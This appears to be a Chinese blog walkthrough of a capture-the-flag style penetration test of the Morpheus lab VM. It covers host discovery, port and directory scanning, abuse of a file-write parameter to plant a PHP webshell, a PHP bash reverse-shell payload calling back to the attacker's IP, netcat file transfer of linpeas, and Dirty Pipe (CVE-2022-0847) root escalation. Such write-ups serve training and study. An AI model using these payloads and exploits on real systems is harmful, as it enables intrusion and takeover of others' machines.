首页 > 其他分享 >Morpheus渗透实例

Morpheus渗透实例

时间:2023-05-08 16:03:06浏览次数:44  
标签:php 渗透 扫描 Morpheus 实例 10.10 权限 上传 10.138

靶机下载地址

渗透流程

1. 主机发现

netdiscover -i eth0 -r 10.10.10.0/24

img

2. 对主机进行服务探测

nmap -sS -sV -p- 10.10.10.138

img
3. 进行目标系统简单的访问
img

img
浏览源代码,没有发现什么有用的信息。
4. 对目标系统进行目录扫描
注意点:使用不同的目录扫描器,扫出的信息更多更有用,收集目录文件,加强扫描的广泛性。
御剑扫描:
img
dirsearch扫描:

dirsearch.exe -u http://10.10.10.138

img

dirsearch.exe -u http://10.10.10.138/ -w directory-list-2.3-medium.txt

-w: 使用自定义的目录文件进行扫描

img
dirb扫描

dirb http://10.10.10.137 /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -w

gobuster扫描

gobuster dir -u http://10.10.10.138 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip

img

浏览扫描出来的graffiti.txt,graffiti.php目录文件:
img

img
输入信息抓包提交,发现在graffiti.php输入的内容会在本页面出现和出现在graffiti.txt中。
img

img
修改file的值再提交查看是否能成功:
img

img
成功,从此推断该功能可以是:输入数据,提交后,保存在file设置的文件名中,并且在graffiti.php上显示。如果文件名不存在则新建文件,并保存提交的数据。
渗透思路:

  1. 修改文件名为php,上传木马,并使用蚁剑连接。
  2. 修改文件名为php,上传反弹shell,使用kali监听连接。

方法1
img
使用蚁剑连接http://10.10.10.138/kks.php测试,连接密码为:kks。
img

img
进入虚拟终端查看用户权限
img
发现是低权限用户。上传漏洞检测脚本发现检测效果不是太好,所以没有进行。

方法2:反弹shell

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/5555 0>&1'");?>

将信息改为上述代码,file改为why.php,上传后,在浏览器中输入http://10.10.10.138/why.php
在kali上执行:

nc -lvnp 5555

img
连接成功!

可以看到权限很低,所以要进行提权操作,下面开始上神器。
上传漏洞检测脚本
上传linoeas.sh漏洞检测脚本,
在反弹的shell中输入:

nc -l 6666 > linpeas.sh

在kali终端输入:

nc 10.10.10.138 6666 < /root/Desktop/linpeas.sh

img
授于脚本执行权限

或者上传linux-exploit-suggester.sh脚本来检测,与上面上传方法一样。
利用多个漏洞脚本检测可以全面的检测检系统中的漏洞。
下图是两种脚本的扫描结果图:
img
此处使用CVE-2022-0847进行提权,下载提权脚本:
img

使用方法:

gcc  dirtypipez.c -o dirtypipez

./dirtypipez /usr/bin/su

img
也可以在GitHub上面下载该漏洞对应的sh脚本来执行。

补充点:
CVE-2022-0847是自5.8以来内核中的一个漏洞,攻击者利用该漏洞可以覆盖任意只读文件中的数据。这些将普通权限提升至root权限,

SUID(Set UID)是Linux中的一种特殊权限,其功能为当具有SUID权限的文件被执行时,它会以该文件的所有者或其他指定用户的权限运行,而不是以执行该文件的用户的权限运行。SUID经常被用于给某些应用程序或程序赋予执行某些需要比执行程序的用户具有更高权限的任务的权限。例如,“passwd”命令需要以特殊权限运行才能更新系统密码文件,该文件只能被系统的root用户访问。因此,为了允许普通用户更改他们的密码,“passwd”命令已设置了SUID位,这赋予了它修改密码文件所需的权限。

搜索SUID权限:

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

标签:php,渗透,扫描,Morpheus,实例,10.10,权限,上传,10.138
From: https://www.cnblogs.com/kalixcn/p/17382019.html

相关文章

  • 近源渗透学习
    一、近源渗透近源渗透测试是网络空间安全领域逐渐兴起的一种新的安全评估手段。它是一种集常规网络攻防、物理接近、社会工程学及无线电通信攻防等能力于一体的高规格网络安全评估行动。网络安全评估小组在签订渗透测试授权协议后,通过乔装、社工等方式实地物理侵入企业办公区域,......
  • Narak -- tftp、dav和motd渗透
    主机发现sudonmap-sT--min-rate10000-p-xx.xx.xx.xx-oAnmapscan/portssudonmap-sT-sV-sC-O-p22,80xx.xx.xx.xx-oAnmapscan/detailsudonmap-sU--top-ports20xx.xx.xx.xx-oAnmapscan/udp发现了一个tftp,能够进行渗透sudonmap--script=vuln-p22,8......
  • Vite-WeGPT聊天AI实例|vue3+pinia仿ChatGPT聊天界面
    基于vue3.x+vite4+pinia2仿chatgpt聊天模拟实例Vue3-WeGPT。基于Vite4.x+Vue3+Pinia2+VEPlus+Vue3-Markdown等技术实现仿ChatGPT聊天AI界面实例。整体界面简洁清新、支持2种界面布局、暗黑+亮色模式、全屏+半屏展示、Markdown语法解析、侧边栏收缩等功能。使用技术编辑器:cur......
  • Jboss4集群配置之二:Jboss集群配置实例与负载均衡器配置
    1.前言 2.集群准备知识 3.Jboss集群配置实例概述4.Jboss集群负载均衡器mod_jk配置3.Jboss集群配置实例概述下文中,RubySun 将以实例来叙述Jboss集群配置。该实例包含3个Jboss节点。各节点被动接收负载均衡器转发的请求。各节点间没有横向的联系。4. Jboss集群负载均衡器配置步......
  • delphi 互斥量,只允许运行一个实例
    效果图: 代码超简单的:procedureTFrmLogin.FormCreate(Sender:TObject);varFmutex:THandle;begin//创建一个命名的互斥量,确保同一时间只有一个实例在运行//第三个参数是自定义的,随便取的,但一定要是唯一的标识FMutex:=CreateMutex(nil,True,'MyDelphiAppMutex')......
  • 《渗透测试》WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性 2022 Day31
     1、文件上传-前端验证2、文件上传-黑白名单3、文件上传-user.ini妙用4、文件上传-PHP语言特性 前置:后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门#详细点:1、检测层面:前......
  • 修改数据库实例、修改数据库、修改数据表、修改数据,编码、排序规则
    查实例字符集showvariableslike'%character%';查实例排序规则showvariableslike'%collation%';查库语句showcreatedatabasetest;查表排序规则showtablestatusfromtestlike'test_saas_single';查字段排序规则showfullcolumnsfromtest_saas_single;......
  • SpringBoot中策略模式+工厂模式业务实例(接口传参-枚举类查询策略映射关系-执行不同策
    场景设计模式-策略模式在Java中的使用示例:https://blog.csdn.net/BADAO_LIUMANG_QIZHI/article/details/127622238上面讲了策略模式在Java中的使用示例。下面看一个在SpringBoot中的实际使用示例。业务场景:有多个煤矿,信号灯有多个厂家/规则,每个煤矿对应一种信号灯。需要编......
  • SpringCloud实例
    前言:此文档是跟着课程来的,主要是为了熟悉SpringCloud和kubernetes是怎么结合的,后续用在测试cicd流水线上。1.基础环境1.1.java环境配置jdk1.8链接:下载mkdir-p/usr/local/src/jdk; cd/usr/local/src/jdktar-zxvfjdk-8u221-linux-x64.tar.gz-C/usr/localvim/e......
  • 实例046 数组的下标界限
    以下是使用Java文本框控件实现Java数组的下标界限完整代码,包括详细注释:importjavax.swing.*;importjava.awt.*;importjava.awt.event.*;publicclassTestextendsJFrameimplementsActionListener{//定义窗口中需要用到的组件privateJTextFieldtextField......